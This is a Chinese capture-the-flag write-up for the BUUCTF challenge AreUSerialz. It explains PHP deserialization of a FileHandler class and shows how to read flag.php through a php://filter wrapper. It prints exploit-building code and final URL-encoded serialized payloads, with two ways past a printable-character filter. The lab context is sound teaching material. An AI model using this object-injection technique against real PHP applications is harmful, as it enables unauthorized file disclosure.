【BUUCTF】AreUSerialz (反序列化)

题目来源

收录于:BUUCTF  网鼎杯 2020 青龙组

题目描述

根据PHP代码进行反序列化

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
protected $filename;
protected $content; function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
} public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
} private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
} private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
} private function output($s) {
echo "[Result]: <br>";
echo $s;
} function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
} } function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
} if(isset($_GET{'str'})) { $str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
} }

题解

此题解题思路较为清晰,反序列化时依次调用的函数为:

__destruct()  ==>  process() ==>  read()

read()中的file_get_contents()中得到我们要读的文件。

这里直接给出构造的类

<?php

class FileHandler {

    protected $op;
protected $filename;
protected $content; function __construct() {
$this->op = 2;
$this->filename = "php://filter/convert.base64-encode/resource=flag.php";
$this->content = "Hello World!"; //$content的值随意 }
} $o = new FileHandler();
$s = urlencode(serialize($o));
echo $s;

这里由于存在不可打印的字符,且不可随意丢弃,因此我们需要对序列化后的字符串进行URL编码。编码后得到$s的值为

O%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A5%3A%22%00%2A%00op%22%3BN%3Bs%3A11%3A%22%00%2A%00filename%22%3BN%3Bs%3A10%3A%22%00%2A%00content%22%3BN%3B%7D

对于一般的题目,到这里就能得到flag了,但是该题目中还有函数is_valid(),用于检测传递的字符串中是否有不可打印的字符。

由于类中有protected的属性,因此我们序列化后的字符串中会有不可打印字符%00,这道题的难点就在这里。

这里有两种方式可以进行绕过

方式一

当PHP版本 >= 7.2 时,反序列化对访问类别不敏感。

即可以直接将protected改为public,即可避免出现不可打印的字符,同时可以成功反序列化。

<?php

class FileHandler {

    public $op;
public $filename;
public $content; function __construct() {
$this->op = 2;
$this->filename = "php://filter/convert.base64-encode/resource=flag.php";
$this->content = "Hello World!"; //$content的值随意 }
} $o = new FileHandler();
echo(urlencode(serialize($o)));

传入打印的字符串即可得到base64编码的flag

方式二

此方法并不改变变量的保护类型。

当我们向浏览器传递%00时,浏览器会对其进行URL解码,解析为ascii值为0的单个字符。

当我们向浏览器传递\00时,浏览器不会将其解析为单个字符。

下面用代码进行验证:

<?php

function is_valid($s) {
echo "str_length="; //输出字符串长度
echo strlen($s);
echo "<br>ASCII(str): ";
for($i = 0; $i < strlen($s); $i++){
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)){
echo "invalid!!!";
return false;
}
echo ord($s[$i]); //输出每个字符的ASCII
echo " ";
}
return true;
} $str = (string)$_GET['str'];
is_valid($str); ?>

因此我们将%00替换为\00,就可以绕开ord()的判断。但是这样一来,反序列化时\00将无法正确解析为单个字符。

我们知道序列化后的字符串中,用 s 表示字符串,用 i 表示整数。此外, S 用于表示十六进制的字符串。

于是,将表示字符串的 s 替换为表示十六进制字符的 S,即可完成绕过。

<?php

class FileHandler {

    protected $op;
protected $filename;
protected $content; function __construct() {
$this->op = 2;
$this->filename = "php://filter/convert.base64-encode/resource=flag.php";
$this->content = "Hello World!"; //$content的值随意 }
} $o = new FileHandler();
$s = urlencode(serialize($o));
$s = str_replace('%00','\00',$s);
echo $s;

将红框内的小写 s 替换为大写 S,得到的payload为

O%3A11%3A%22FileHandler%22%3A3%3A%7BS%3A5%3A%22\00%2A\00op%22%3Bi%3A2%3BS%3A11%3A%22\00%2A\00filename%22%3Bs%3A52%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3Dflag.php%22%3BS%3A10%3A%22\00%2A\00content%22%3Bs%3A12%3A%22Hello+World%21%22%3B%7D

总结

当遇到不可打印字符被过滤时,有两种方法:

  • PHP版本>=7.2时,可将protected直接修改为public

  • 将序列化后的字符串中的%00修改为\00,并将保护类型为protected的变量的变量类型由s改为S

【BUUCTF】AreUSerialz的更多相关文章

  1. 【BUUCTF】强网杯 2019随便注1 write up

    输入万能密码1' or 1=1# ,判断存在sql注入, SQL注入的万能密码实际上是利用了网址后台的漏洞,打开下面的网址不用密码和账号也可以登录后台. 万能密码原理: 万能密码能够绕过sql检测,在 ...

  2. 【BUUCTF】ACTF2020 新生赛Include1 write up

    查看源代码+抓包都没有发现什么信息,只有这两个东东 <meta charset="utf8"> Can you find out the flag? <meta ...

  3. Python高手之路【六】python基础之字符串格式化

    Python的字符串格式化有两种方式: 百分号方式.format方式 百分号的方式相对来说比较老,而format方式则是比较先进的方式,企图替换古老的方式,目前两者并存.[PEP-3101] This ...

  4. 【原】谈谈对Objective-C中代理模式的误解

    [原]谈谈对Objective-C中代理模式的误解 本文转载请注明出处 —— polobymulberry-博客园 1. 前言 这篇文章主要是对代理模式和委托模式进行了对比,个人认为Objective ...

  5. 【原】FMDB源码阅读(三)

    [原]FMDB源码阅读(三) 本文转载请注明出处 —— polobymulberry-博客园 1. 前言 FMDB比较优秀的地方就在于对多线程的处理.所以这一篇主要是研究FMDB的多线程处理的实现.而 ...

  6. 【原】Android热更新开源项目Tinker源码解析系列之一:Dex热更新

    [原]Android热更新开源项目Tinker源码解析系列之一:Dex热更新 Tinker是微信的第一个开源项目,主要用于安卓应用bug的热修复和功能的迭代. Tinker github地址:http ...

  7. 【调侃】IOC前世今生

    前些天,参与了公司内部小组的一次技术交流,主要是针对<IOC与AOP>,本着学而时习之的态度及积极分享的精神,我就结合一个小故事来初浅地剖析一下我眼中的“IOC前世今生”,以方便初学者能更 ...

  8. Python高手之路【三】python基础之函数

    基本数据类型补充: set 是一个无序且不重复的元素集合 class set(object): """ set() -> new empty set object ...

  9. Python高手之路【一】初识python

    Python简介 1:Python的创始人 Python (英国发音:/ˈpaɪθən/ 美国发音:/ˈpaɪθɑːn/), 是一种解释型.面向对象.动态数据类型的高级程序设计语言,由荷兰人Guido ...

  10. 【开源】简单4步搞定QQ登录,无需什么代码功底【无语言界限】

    说17号发超简单的教程就17号,qq核审通过后就封装了这个,现在放出来~~ 这个是我封装的一个开源项目:https://github.com/dunitian/LoTQQLogin ————————— ...

随机推荐

  1. Windows更改远程桌面端口

    为了远程安全,默认在3389改为别的端口. 本示例为3389改为53389 1.步骤:打开"开始→运行",输入"regedit",打开注册表,进入以下路径: [ ...

  2. 配置 Forwarded Headers Middleware

    来自微软的说明:Configure ASP.NET Core to work with proxy servers and load balancers | Microsoft Learn. 通过该中 ...

  3. (default-compile) on project app: Fatal error compiling: 无效的标记: --release -> [Help 1]

    <plugins> <plugin> <artifactId>maven-compiler-plugin</artifactId> <versio ...

  4. Qt自定义控件集成到全平台QtCreator效果图

  5. TypeScript学习(一) - 一些基本的数据类型

    1. 数据类型 1.1 原始数据类型 boolean number string null undefiend Array Map Tuple 1.2 特殊类型 任意值类型(any) 联合类型 1. ...

  6. kubernetes系列(十一) - 存储之configMap

    1. configMap简介 1.1 configMap的典型用法 1.2 configMap的表现形式 2. configMap的创建方式 2.1 kubectl create命令行创建 2.1.1 ...

  7. 高通Android工程释放ADSP侧GPIO给AP侧(HLOS)解决uart只能收或者发,gpio 无法配置成输入或者输出

    在许多sensor的调试过程中总是会遇到各种GPIO被占用的情况,特别是以下几种情况:UART 只能发或收,GPIO 配置了pinctl output但是gpio依旧为输入. 1.判断GPIO口状态 ...

  8. 正在测试和完善的CH552(CH549)USB下载之单按键带入电路实验

    一.设计理由 CH552或CH549进入USB下载,通常需要两个按键,一个控制电源的通断,一个通过串联电阻(一头接VCC或V33)冷启动时抬高UDP电平.时序上是这样的:断电--按下接UDP的轻触开关 ...

  9. c# 微软小冰-虚拟女友聊天

    using Newtonsoft.Json; using System; using System.Collections.Generic; using System.IO; using System ...

  10. w3cschool-R语言 教程

    https://www.w3cschool.cn/r/ R语言教程 R语言是用于统计分析,图形表示和报告的编程语言和软件环境. R语言由Ross Ihaka和Robert Gentleman在新西兰奥 ...